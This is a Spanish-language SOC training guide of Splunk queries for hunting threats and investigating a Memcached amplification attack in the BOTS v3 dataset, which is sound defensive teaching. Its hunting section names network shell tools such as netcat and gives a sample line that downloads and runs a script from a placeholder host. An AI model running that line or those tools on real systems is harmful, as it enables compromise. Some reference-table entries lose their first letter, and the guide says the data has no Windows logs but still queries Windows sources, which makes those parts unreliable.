Guía de Análisis de Seguridad con Splunk

Contexto: SOC Analyst

Eres analista de seguridad SOC Nivel 1 en el banco “Banco Nacional”. Tu trabajo es monitorear alertas, investigar eventos sospechosos y reportar incidentes al equipo de respuesta.

El dataset BOTS v3 representa los logs de tu banco durante un incidente de seguridad real. Tu eres el primero en revisar las alertas.

Nota sobre sourcetypes: Este dataset contiene logs de red (stream), Linux (syslog, linux_secure, osquery), AWS (cloudtrail, cloudwatch), y firewall Cisco ASA. No contiene Windows Event Log (EventCode 4624, 4625…). La autenticación se monitoriza via SSH en servidores Linux.

FASE 1: Conocer tu entorno

Antes de investigar, necesitas saber que hay en tu infraestructura.

1.1 ?Que sistemas están generando logs?

index=botsv3 | stats count by sourcetype | sort -count

Que ves: Todos los tipos de logs que llegan al SIEM. En tu banco: Esto sería tu “Asset Inventory” - saber que sistemas están monitoreados.

1.2 ?Que fuentes de datos tenemos?

index=botsv3 | stats count by source | sort -count

Que ves: Los archivos o sistemas específicos que generan logs. En tu banco: Saber si son servidores, firewalls, endpoints, etc.

1.3 ?Que hosts están reportando?

index=botsv3 | stats count by host | sort -count

Que ves: Los equipos/servidores que envían logs. En tu banco: Tu mapa de infraestructura activa.

1.4 Resumen general del tráfico

index=botsv3 | timechart span=1d count

Que ves: Volumen de eventos por día. En tu banco: Detectar picos inusuales de actividad.

FASE 2: Monitoreo de autenticación (Linux SSH)

La autenticación es lo primero que revisas como SOC analyst. En este dataset, los logs de autenticación son de servidores Linux via SSH.

2.1 Logins SSH exitosos

index=botsv3 sourcetype=linux_secure "Accepted password" | stats count by src_ip, user, host

Que ves: Quien se conecto por SSH, desde donde y a que servidor. En tu banco: Un empleado conectandose desde una IP inusual sería sospechoso.

2.2 Logins SSH fallidos (brute force)

index=botsv3 sourcetype=linux_secure "Failed password" | stats count by src_ip, user | where count > 5

Que ves: IPs o usuarios con muchos intentos fallidos de SSH. En tu banco: Posible ataque de fuerza bruta contra servidores Linux.

2.3 Logins fuera de horario laboral

index=botsv3 sourcetype=linux_secure "Accepted password" | eval hour=strftime(_time, "%H") | where hour<8 OR hour>18 | stats count by user, src_ip, hour

Que ves: Conexiones SSH fuera de las 8am-6pm. En tu banco: Administrador conectandose a las 3am desde IP extraña = altamente sospechoso.

2.4 Usuarios con sudo (privilegios elevados en Linux)

index=botsv3 sourcetype=linux_secure "sudo" | stats count by user, host

Que ves: Quien ejecuta comandos con sudo. En tu banco: Auditar quien tiene acceso de administrador en servidores Linux.

2.5 Autenticación con clave pública (movimiento lateral)

index=botsv3 sourcetype=linux_secure "Accepted publickey" | stats count by user, src_ip, host

Que ves: Conexiones SSH por clave pública entre servidores. En tu banco: Atacantes usan claves robadas para moverse entre servidores.

FASE 3: Análisis de Red

3.1 Top 20 IPs con más tráfico DNS saliente

index=botsv3 sourcetype=stream:dns | top limit=20 src_ip

Que ves: Que equipos están haciendo más consultas DNS. En tu banco: Un equipo haciendo muchas consultas DNS puede estar exfiltrando datos o comunicandose con C2.

3.2 DNS queries más frecuentes

index=botsv3 sourcetype=stream:dns | top limit=50 query

Que ves: Los dominios más consultados desde tu red interna. En tu banco: Dominios extraños o de reciente creación = posible command & control (C2).

3.3 Tráfico hacia puertos inusuales

index=botsv3 sourcetype=stream:tcp | top limit=20 dest_port

Que ves: Puertos de destino más usados. En tu banco: Puertos que no deberian estar abiertos (4444, 5555 = posibles backdoors).

Puertos sospechosos: 4444 (Metasploit), 11211 (Memcached amplification), 31337, 6666

3.4 Tráfico a Memcached (puerto 11211) - posible amplificación

index=botsv3 dest_port=11211 | stats count by src_ip, dest_ip | sort -count

Que ves: Quien envía tráfico al puerto Memcached y quien lo recibe. En tu banco: Este puerto no debería estar expuesto. Si ves tráfico saliente, alguien está haciendo amplification DDoS.

3.5 Volumen de amplificación Memcached

index=botsv3 dest_port=11211 | stats sum(bytes_in) as in, sum(bytes_out) as out by src_ip | eval ratio=round(out/in, 0) | sort -ratio

Que ves: El ratio de amplificación. Si out es 10.000x mayor que in, es un ataque. En tu banco: Los atacantes usan Memcached para amplificar tráfico hasta 50.000x.

3.6 Firewall - tráfico bloqueado

index=botsv3 sourcetype=cisco:asa | top limit=20 src_ip

Que ves: Las IPs que más tráfico generan hacía el firewall. En tu banco: Intentos de acceso no autorizado desde internet.

3.7 Firewall - conexiones permitidas vs bloqueadas

index=botsv3 sourcetype=cisco:asa | stats count by action

Que ves: Cuantos eventos fueron permitidos (ACCEPT) vs bloqueados (DENY/BLOCK). En tu banco: Si ves muchas denegaciones, alguien está escaneando tu red.

FASE 4: Análisis de Procesos (Endpoint)

4.1 Procesos más activos en servidores Windows

index=botsv3 sourcetype=PerfmonMk:Process | top limit=20 process_name

Que ves: Los procesos que más recursos consumen en servidores Windows. En tu banco: Procesos como svchost.exe, explorer.exe son normales. powershell.exe desde cuenta de usuario no.

4.2 Monitoreo de hosts Windows

index=botsv3 sourcetype=WinHostMon | stats count by host

Que ves: Que servidores Windows están reportando y cuantos eventos generan. En tu banco: Si un host deja de reportar, puede estar apagado… o comprometido.

4.3 Procesos creados (Sysmon)

index=botsv3 sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 | table _time, host, process_name, parent_process_name

Que ves: Procesos creados en endpoints Windows monitoreados por Sysmon. En tu banco: Un PowerShell lanzado por Office = sospechoso.

4.4 Conexiones de red desde procesos (Sysmon)

index=botsv3 sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3 | table _time, host, process_name, dest_ip, dest_port

Que ves: Procesos que hacen conexiones de red. En tu banco: Un proceso conectandose a una IP externa = posible C2.

4.5 Procesos en servidores Linux (osquery)

index=botsv3 sourcetype=osquery:results name=processes | stats count by host, name | sort -count | head 20

Que ves: Procesos detectados por osquery en servidores Linux. En tu banco: osquery monitorea procesos, puertos en escucha, conexiones.

4.6 Puertos en escucha en servidores Linux (osquery)

index=botsv3 sourcetype=osquery:results name=listening_ports | stats count by host, port, address

Que ves: Puertos abiertos en servidores Linux. En tu banco: Servicios no autorizados corriendo en puertos inusuales.

FASE 5: Threat Hunting (Caza de Amenazas)

5.1 Buscar descargas desde internet (Linux)

index=botsv3 sourcetype=bash_history "wget" OR "curl"

Que ves: Comandos wget/curl ejecutados en servidores Linux. En tu banco: Descarga de malware desde internet.

5.2 Buscar scripts ejecutados manualmente

index=botsv3 sourcetype=bash_history "chmod +x" OR "./" OR "sh " OR "bash "

Que ves: Archivos descargados y ejecutados. En tu banco: wget http://ip-sospechosa/malware.sh && chmod +x && ./malware.sh = compromiso.

5.3 Buscar movimientos laterales (SSH entre servidores)

index=botsv3 sourcetype=linux_secure "Accepted publickey" | stats count by user, src_ip, host

Que ves: Conexiones SSH por clave pública. En tu banco: Si el mismo usuario se conecta a 5 servidores en pocos minutos, alguien se está moviendo lateralmente.

5.4 Buscar exfiltración de datos via DNS

index=botsv3 sourcetype=stream:dns | stats count by query, src_ip | sort -count | head 30

Que ves: Dominios consultados y quien los consulta. En tu banco: Envío de datos codificados en consultas DNS = DNS tunneling.

5.5 Buscar cambios en archivos de configuración (Linux)

index=botsv3 sourcetype=bash_history "crontab" OR "/etc/" OR "systemctl"

Que ves: Comandos que modifican configuración del sistema. En tu banco: Anyadir un cronjob o modificar archivos de sistema = persistencia.

5.6 Buscar comandos de red sospechosos

index=botsv3 sourcetype=bash_history "nc " OR "ncat" OR "netcat" OR "nmap" OR "ssh -R" OR "ssh -L"

Que ves: Uso de herramientas de red. En tu banco: netcat, nmap, port forwarding = técnicas de atacante.

5.7 Buscar en texto libre (IOCs)

index=botsv3 "malware" OR "ransomware" OR "exploit" OR "payload" OR "backdoor"

Que ves: Eventos que mencionan términos de amenazas. En tu banco: Alertas de antivirus, DLP o IDS.

FASE 6: Investigación de Incidente

6.1 Timeline de un host específico

index=botsv3 host="gacrux.i-06fea586f3d3c8ce8" | timechart span=1h count by sourcetype

Que ves: Actividad de un equipo específico por hora. Cambia gacrux… por el host que quieras investigar. En tu banco: Reconstruir que paso en un equipo comprometido.

6.2 Eventos alrededor de un momento específico

index=botsv3 earliest="08/20/2018:15:00:00" latest="08/20/2018:16:00:00" | stats count by sourcetype

Que ves: Que paso en una hora específica del ataque. En tu banco: Investigar que ocurrio justo antes/después de un incidente.

6.3 Buscar tráfico de una IP específica

index=botsv3 src_ip="13.125.33.130" | stats count by sourcetype, dest_ip | sort -count

Que ves: Todo lo que hizo una IP en la red. Cambia la IP por la que quieras investigar. En tu banco: Investigación forense de una IP sospechosa.

6.4 Timeline del ataque Memcached

index=botsv3 dest_port=11211 | timechart span=5m count

Que ves: La actividad contra el puerto Memcached minuto a minuto. En tu banco: Ver la duración exacta y el volumen del ataque de amplificación.

6.5 Buscar en texto libre (todos los logs)

index=botsv3 "injected" OR "STORED" OR "ERROR"

Que ves: Eventos que contienen estos términos - claves del ataque Memcached. En tu banco: Los logs de red UDP contienen los comandos “set”, “get” e “injected” del ataque.

FASE 7: Dashboards y Reportes

7.1 Dashboard de autenticación (SSH)

index=botsv3 sourcetype=linux_secure "Failed password" | timechart span=1h count by src_ip

7.2 Dashboard de red (DNS)

index=botsv3 sourcetype=stream:dns | timechart span=1h count by query_type

7.3 Dashboard de procesos (Perfmon Windows)

index=botsv3 sourcetype=PerfmonMk:Process | top limit=10 process_name

7.4 Dashboard de tráfico bloqueado (Firewall)

index=botsv3 sourcetype=cisco:asa | timechart span=1h count by action

Comandos SPL de Referencia

Básicos

ComandoFunción
stats countContar eventos
op limit=NTop N valores
imechart span=1hGráfico por hora
whereFiltrar condicionalmente
ableMostrar en tabla
sort -countOrdenar descendente
evalCrear campo calculado
enameRenombrar campo
dedupEliminar duplicados

Sourcetypes disponibles en BOTSv3 (los más importantes para SOC)

SourcetypeQue contiene
syslogLogs genericos de Linux
linux_secureAutenticación SSH (logins, sudo, fallos)
stream:dnsConsultas DNS capturadas en red
stream:tcpTráfico TCP capturado en red
stream:udpTráfico UDP capturado en red
stream:httpTráfico HTTP capturado en red
stream:ipTráfico IP genérico
cisco:asaLogs de firewall Cisco ASA
ws:cloudtrailAPI calls de AWS
ws:cloudwatchlogsLogs de servicios AWS (VPC Flow, Lambda)
PerfmonMk:ProcessRendimiento de procesos en Windows
WinHostMonMonitoreo de hosts Windows
osquery:resultsResultados de osquery (procesos, puertos)
ash_historyHistorial de comandos bash en Linux
XmlWinEventLog:Microsoft-Windows-Sysmon/OperationalSysmon (procesos, conexiones)

Ejercicios Practicos

Ejercicio 1: Detectar SSH brute force

Busca IPs con más de 10 intentos de SSH fallidos.

index=botsv3 sourcetype=linux_secure "Failed password" | stats count by src_ip | where count > 10

Ejercicio 2: Encontrar la IP atacante de Memcached Busca la IP que envía tráfico al puerto 11211 y calcula el ratio de amplificación.

index=botsv3 dest_port=11211 | stats sum(bytes_in) as in, sum(bytes_out) as out by src_ip | eval ratio=round(out/in, 0) | sort -ratio

Ejercicio 3: Reconstruir un incidente

Elige un host sospechoso (como la victima del Memcached: 10.10.10.178) y crea un timeline.

index=botsv3 dest_ip="10.10.10.178" | timechart span=5m count by sourcetype

Ejercicio 4: Dominios sospechosos en DNS

Busca dominios que no parezcan legitimas en las consultas DNS.

index=botsv3 sourcetype=stream:dns query=*bit* OR query=*coin* OR query=*pool* OR query=*miner* | stats count by query

Ejercicio 5: Reporte de incidente

Escribe un reporte de 1 página sobre el ataque Memcached que encuentres en los datos. Incluye:

  • IP atacante, IP victima
  • Puerto utilizado
  • Volumen de datos
  • Timeline del ataque
  • Recomendaciones

Documento actualizado el 06/06/2026 - Busquedas validadas con BOTSv3 real